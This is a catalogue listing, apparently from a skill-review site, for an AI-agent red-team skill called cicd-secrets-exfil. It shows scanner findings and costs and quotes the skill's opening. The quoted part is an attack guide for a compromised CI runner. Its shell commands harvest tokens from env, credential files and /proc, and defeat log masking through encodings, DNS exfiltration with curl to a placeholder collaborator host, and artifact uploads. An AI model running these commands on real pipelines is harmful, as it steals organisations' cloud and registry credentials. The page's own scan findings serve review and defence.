Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill cicd-secrets-exfilgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/cicd-secrets-exfil)<a href="https://agentmods.dev/skills/purpleailab/decepticon/cicd-secrets-exfil"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/cicd-secrets-exfil/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/cicd-secrets-exfil"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/cicd-secrets-exfil.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 7 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 21 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 21 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 21 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 21 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 142 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 101 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- medium Data Exfiltration · line 111 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00075 | $0.02639 |
| Opus 5 | $0.00037 | $0.01319 |
| Sonnet 5 | $0.00015 | $0.00528 |
| Haiku 4.5 | $0.00007 | $0.00264 |
Grade C, and why
cicd-secrets-exfil scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/" How it starts
The opening of the file, as written. The whole thing — 199 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CI/CD Secrets & OIDC Exfiltration
Pre-requisite: you already have code execution in a CI job (see poisoned-pipeline-execution/ or github-actions-injection/). Goal: convert that ephemeral execution into durable cloud / registry access without tripping log masking.
Surface map
# In the runner — every place a secret might live
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head
ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null
ls -la "$RUNNER_TEMP/_github_workflow/" 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'token|secret' | sort -u | head
Log masking — and how it fails
GitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with ***. The mask is substring-based, applied post-write, to UTF-8 chars only. Defeats trivially:
SECRET="$MY_SECRET"
# 1. Base64 — masker doesn't decode
echo "$SECRET" | base64 -w0
# 2. Hex
echo -n "$SECRET" | xxd -p
# 3. Char-by-char (one char per line)
echo "$SECRET" | fold -w1
# 4. Reverse
echo "$SECRET" | rev
# 5. Print length + first/last chars (use this for *proof*; don't print the whole secret)
echo "len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}"
# 6. Split across two strings
echo "${SECRET:0:${#SECRET}/2}"; echo "${SECRET:${#SECRET}/2}"
# 7. Use as URL — DNS exfil masks the secret in HTTP logs but the lookup succeeds
curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/"
# 8. Out-of-band — write to artifact then download
echo "$SECRET" | base64 > "$RUNNER_TEMP/proof.b64"
# then: actions/upload-artifact -> attacker downloads
For authorized research: stop at step 5. Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure.
What lives in env
# GitHub Actions
# - GITHUB_TOKEN — workflow token (scope depends on `permissions:` block, default depends on org)
# - secrets.* — explicitly referenced; only present if the step mapped them
# - ACTIONS_RUNTIME_TOKEN — runner-to-service JWT, scoped to runtime APIs (artifacts, cache)
# - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL — OIDC exchange endpoints
# - ACTIONS_CACHE_URL — cache service endpoint
# GitLab CI
# - CI_JOB_TOKEN — short-lived job token, scope depends on project + CI/CD settings
# - CI_REGISTRY_USER / CI_REGISTRY_PASSWORD — container registry
# - CI_DEPENDENCY_PROXY_USER / _PASSWORD
# CircleCI
# - CIRCLE_OIDC_TOKEN, CIRCLE_TOKEN
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 199 lines · 75 tokens per session scan C a1d5f0bdee8d
cicd-secrets-exfil is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 75 tokens to every session and 2,639 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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